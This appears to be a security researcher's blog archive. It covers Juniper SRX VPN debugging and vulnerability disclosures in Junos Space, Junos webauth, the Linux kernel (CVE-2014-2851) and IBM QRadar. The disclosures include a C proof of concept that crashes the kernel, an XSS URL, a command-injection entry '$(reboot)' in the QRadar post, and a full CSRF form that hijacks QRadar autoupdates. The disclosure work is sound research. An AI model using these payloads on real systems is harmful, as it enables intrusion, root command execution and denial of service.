Friday, June 19, 2015

Juniper SRX Vpn Debugging with "gateway-filter"


After a support session with jtac, I learned there's a hidden srx configuration to debug single vpns:

admin@srx# show security ike traceoptions
file vpn-trace size 10m;
gateway-filter {
    local-address x.x.x.x;
    remote-address y.y.y.y;
}

level 15;

This is equivalent to the operational command

request security ike debug-enable local x.x.x.x remote y.y.y.y

The jtac engineer used this command to debug an ipsec issue where SA's existed in the management plane but not in the data plane. Following command was used to list the dataplane SA's:

run request pfe execute command "show usp ipsec sa" target fwdd 

A security flow trace of the faulting session reported an unrelated error about missing traffic selectors:

Jun 17 18:47:04 18:47:04.409145:CID-1:RT:flow_ipv4_rt_lkup success 192.168.122.12, iifl 0x50, oifl 0xb8

Jun 17 18:47:04 18:47:04.409168:CID-1:RT:  routed (x_dst_ip 192.168.122.12) from srxhq (reth0.1001 in 1) to st0.108, Next-hop: 192.168.122.12

Jun 17 18:47:04 18:47:04.409185:CID-1:RT:flow_first_policy_search: policy search from zone srxhq-> zone OMP-VPN (0x0,0x2ee0001,0x1)

Jun 17 18:47:04 18:47:04.409205:CID-1:RT:Policy lkup: vsys 0 zone(8:srxhq) -> zone(13:OMP-VPN) scope:0

Jun 17 18:47:04 18:47:04.409205:CID-1:RT:             192.168.213.2/2048 -> 192.168.122.12/19053 proto 1

Jun 17 18:47:04 18:47:04.409212:CID-1:RT:  app 0, timeout 60s, curr ageout 60s

Jun 17 18:47:04 18:47:04.409212:CID-1:RT:  permitted by policy allow_any(6)

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:  packet passed, Permitted by policy.

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:flow_first_src_xlate:  nat_src_xlated: False, nat_src_xlate_failed: False

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:flow_first_src_xlate:  incoming src port is : 750.

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:flow_first_src_xlate: src nat returns status: 0, rule/pool id: 0/0, pst_nat: False.

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:  dip id = 0/0, 192.168.213.2/750->192.168.213.2/750 protocol 0

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:(flow_first_get_tun_info) Valid IP, using IP from session

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:  Doing IPSec traffic-selector match for  192.168.213.2 -> 192.168.122.12

Jun 17 18:47:04 18:47:04.409394:CID-1:RT: Did not find traffic-selector enabled nsp_tunnel for  st0-ifp st0.108. Finding non-traffic-selector nsp_tunnel

Jun 17 18:47:04 18:47:04.409394:CID-1:RT: get_nsp_tunnel - Tunnel not found. if st0.108, nexthop ip 0xbadc0ded, policy id 6

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:  packet dropped, outgoing tunnel missing in tunnel-if

Jun 17 18:47:04 18:47:04.409394:CID-1:RT: outgoing tunnel missing in tunnel-if st0.108

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:flow_first_get_out_ifp: get tunnel_info failed!

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:flow_initiate_first_path: first pak no session

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:  flow find session returns error.

Jun 17 18:47:04 18:47:04.409394:CID-1:RT: ----- flow_process_pkt rc 0x7 (fp rc -1)


It seems this issue cannot be resolved without impact (commit full, reboot, delete ike/ipsec).

Update: according to the support case this issue should be fixed in the next srx firmware release: 12.1X46-D40 


Tuesday, April 28, 2015

Junos Space Network Management Platform Vulnerabilities

Last year I spent some time looking for bugs in the Juniper Junos Space Network Management Platform . I discovered following security issues:
  • XSS in the event viewer by sending specially crafted syslog traffic log messages
  • XSS contained in ssl certificates
  • XSS in the integrated opennms network monitoring tool by sending specially crafted snmp traps (varbinding oid values are not properly escaped)
  • XSS in opennms by spoofing snmp get responses, for example a hostname containing html
  • Inject commands using the backup functionality
  • Junos Space manages its devices (routers, switches, firewalls) using ssh. However it does not verify ssh host keys, allowing mitm exploits.
The opnennms issues were reported to opennms also:

I reported these issues September last year to Juniper sirt. Only one of them (ssl cert xss) is fixed in the current release (14.1R2).
There are many more security issues which need to be addressed, however Juniper decided to spend its budget on different things .

Sunday, May 4, 2014

Notes on CVE-2014-2851 - Linux group_info use-after-free

I spent some more time looking at the ping_init_sock group_info usage refcounter overflow I wrote about in a previous post. I uploaded code I used for this research to github .

The code makes it possible to check whether the usage refcounter became zero and the group_info struct is freed. I've written a more elaborate explanation in the README.

I hope to find more time to investigate this issue and update the code in the coming days.

Thursday, April 17, 2014

Linux group_info refcounter overflow memory corruption (CVE-2014-2851)

This post on LKML got me curious and I decided to trigger the overflow to see what it got me.

  1. #include <arpa/inet.h>
  2. #include <stdio.h>
  3. #include <sys/socket.h>
  4. int main(int argc, char *argv[]) {
  5.     int i ;
  6.     struct sockaddr_in saddr;
  7.     unsigned count = -8 ;
  8.     if(argc >= 2){
  9.         // Specify count
  10.         count = atoi(argv[1]);
  11.     }
  12.     printf("count %i\n",count);
  13.     for(= 0 ; i < count;i++ ){
  14.         socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
  15.         if ( i % ( 1 << 22 ) == 0 )
  16.             printf("%i \n",i);
  17.     }
  18.     //Now make it wrap and crash:
  19.     system("/bin/echo bye bye");
  20. }

If the code doens't work, try different values for count ( argv[1] ), for example -20 . When the exploit finishes, run some nested shells to increment the group_info usage counter : every subprocess will increment the usage counter .

It takes a while because 2^32 syscalls have to be executed, but eventually the refcounter overflows.
When the refcounter is close to be overflown, the code executes another process. When this process finishes, atomic_dec_and_test returns true and the creds are freed while still referenced. This results in corruption of the cred_jar slab cache which leads to a system crash.

The actual overflows happens in cred.h :

atomic_inc(&gi->usage);

The disassembly of  ping_init_sock shows the overflow:
Dump of assembler code for function ping_init_sock:
   0xffffffff8164b960 <+0>:     push   %rbp
   0xffffffff8164b961 <+1>:     mov    %rsp,%rbp
   0xffffffff8164b964 <+4>:     push   %r12
   0xffffffff8164b966 <+6>:     push   %rbx
   0xffffffff8164b967 <+7>:     data32 data32 data32 xchg %ax,%ax
   0xffffffff8164b96c <+12>:    mov    %gs:0xb880,%rax
   0xffffffff8164b975 <+21>:    mov    0x480(%rax),%rax
   0xffffffff8164b97c <+28>:    mov    0x30(%rdi),%rdx
   0xffffffff8164b980 <+32>:    mov    0x18(%rax),%edi
   0xffffffff8164b983 <+35>:    mov    0x88(%rax),%rax
=> 0xffffffff8164b98a <+42>:    incl   %ds:(%rax)
   0xffffffff8164b98d <+45>:    mov    0x4(%rax),%r10d
   0xffffffff8164b991 <+49>:    lea    0x390(%rdx),%r9




Monday, March 17, 2014

JNCIA JN0-102 Study Guide Summary

I recently passed the Juniper JNCIA JN0-102 exam. JNCIA is Juniper's entry-level certification which I found more difficult than the CISSP exam.
I made some kind of summary that can be found at the following location:

JNCIA Study Guide Summary

The summary won't be enough to pass, you'll certainly need hands-on junos experience.

Monday, February 10, 2014

Junos Webauth Reflected XSS

I discovered a reflected xss in junos srx webauth



/webauth/webauth_login.php?target=&auth_id=&ap_name=">[HTML] , for example


update

this issue seems to be reported previously but it's not yet fixed. The reply from juniper when informing them about this issue:

"

Hi Thomas,

Thank you for contacting the Juniper SIRT.

This cross site scripting vulnerability is an issue that we are aware of. We are been working on a fix and are preparing to announce this issue in a future Junos security bundle, once all of the supported releases have been fixed. 

Thank you for bringing this to our attention though, as we do appreciate being notified when security issues are found in our products. 

Thanks,
Juniper SIRT

"





Friday, January 24, 2014

IBM QRadar SIEM CSRF - XSS - MITM - RCE

I have found the IBM QRadar Security Intelligence Platform (<= v7.2 ) auto update mechanisms exposes a number of security bugs.

Web Interface Sreenshot (/console/do/qradar/autoupdateConsole)

  • The autoupdateConsole doesn't check for cross site request forgery
  • Input to the autoupdateConsole proxyUsername field is not sanitized, therefore it is possible to inject html into the web interface
  • The autoupdate mechanism doesn't check ssl certificates before downloading the updates
  • The autoupdate mechanism downloads a file scripts/script_list which contains a list of files together with their hash. The autoupdate process then tries to verify the hash but doing so, it doesn't escape shell characters. This way it is possible to execute commands. For example, the appliance will reboot if the script_list contains an entry 

372e25f23b5a8ae33c7ba203412ace30  $(reboot)
  • The autoupdate mechanism runs as root
Update - Details:
  • In the default configuration (above screenshot), the qradar checks for files on https://qmmunity.q1labs.com/ in wwwroot/autoupdates . My rogue autoupdate server web directory looks like this:

  • the manifest_files file  contains a hash for blah, the scripts_list contains the $(reboot) command. blah and blah.asc may be empty.
  • The autoupdate logs can be found in /store/backup/autoupdates, A (slightly redacted) log looks like this:

[root@qradar ~]# cat AU-1390671842/AU-1390671842.log
Autoupdate initialized.
Sat Jan 25 18:44:02 2014 [DEVEL] Recorded license info as "?version=7.2.0.666700&customer=pwncorp
Sat Jan 25 18:44:02 2014 [DEVEL] Downloading "manifest_list" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:02 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/manifest_list?
Sat Jan 25 18:44:03 2014 [DEVEL] Retrieved "manifest_list"
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "vendor_manifest_list" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/vendor_manifest_list?
Sat Jan 25 18:44:03 2014 [INFO] Could not retrieve "vendor_manifest_list": 404 Not Found
Sat Jan 25 18:44:03 2014 [DEVEL] Could not download vendor_manifest_list.
Sat Jan 25 18:44:03 2014 [DEVEL] SHA1 = da39a3ee5e6b4b0d3255bfef95601890afd80709  Manifest = blah
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "blah"
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "blah" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/blah?version=
Sat Jan 25 18:44:03 2014 [DEVEL] Retrieved "blah"
Sat Jan 25 18:44:03 2014 [DEVEL] SHA1 = da39a3ee5e6b4b0d3255bfef95601890afd80709  Filename = blah
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "blah.asc" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/blah.asc?
Sat Jan 25 18:44:03 2014 [DEVEL] Retrieved "blah.asc"
Sat Jan 25 18:44:03 2014 [DEVEL] Downloaded manifest: blah
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "scripts/script_list" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/scripts/script_list?
Sat Jan 25 18:44:03 2014 [DEVEL] Retrieved "scripts/script_list"
Sat Jan 25 18:44:03 2014 [DEVEL] SHA1 = 372e25f23b5a8ae33c7ba203412ace30  Scripts = $(reboot)
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "$(reboot)"
Sat Jan 25 18:44:03 2014 [DEVEL] Downloading "$(reboot)" and placing in "/store/autoupdates/".
Sat Jan 25 18:44:03 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/autoupdates/$(reboot)?

........ At this point the hash is calculated and the qradar reboots....

for a regular file, the log looks like this:

Fri Jan 24 11:23:02 2014 [DEVEL] Downloading "t.tgz"
Fri Jan 24 11:23:02 2014 [DEVEL] Downloading "t.tgz" and placing in "/store/autoupdates/".
Fri Jan 24 11:23:02 2014 [DEVEL] Attempting to retrieve https://qmmunity.q1labs.com/t.tgz?
Fri Jan 24 11:23:02 2014 [DEVEL] Retrieved "t.tgz"

Fri Jan 24 11:23:02 2014 [DEVEL] SHA1 = 7d8e6e45aa6567ace519d8ef00772db4bcfaaf9d  Filename = t.tgz
  • The CSRF form contains the following fields - It is possible to xss these but redirecting the autoupdates is funny as well ;)
  1. <form action=https://QRADAR/console/do/qradar/autoupdateSettings?appName=qradar&pageId=Settings&dispatch=saveSettings&curTab=1 method=POST>
  2. <input type=text name=scheduleInterval value="daily">
  3. <input type=text name=scheduleHour value="T03:00:00">
  4. <input type=text name=configurationUpdateMethod value="autointegrate">
  5. <input type=text name=dsmUpdateMethod value="2">
  6. <input type=text name=majorUpdateMethod value="1">
  7. <input type=text name=minorUpdateMethod value="1">
  8. <input type=text name=isAutoDeploy value="on">
  9. <input type=text name=autoRestartService value="on">
  10. <input type=text name=webSeverAddr value="https://qmmunity.q1labs.com/">
  11. <input type=text name=baseDir value="autoupdates/">
  12. <input type=text name=proxyServer value="">
  13. <input type=text name=proxyPort value="4443">
  14. <input type=text name=proxyUsername value='"> XSS/HTML :D'>
  15. <input type=text name=proxyPassword value="f">
  16. <input type=text name=backupRetentionPeriod value="30">
  17. <input type=text name=backupLocation value="/store/backup/autoupdates">
  18. <input type=text name=downloadDir value="/store/configservices/staging/updates">
  19. <input type=submit>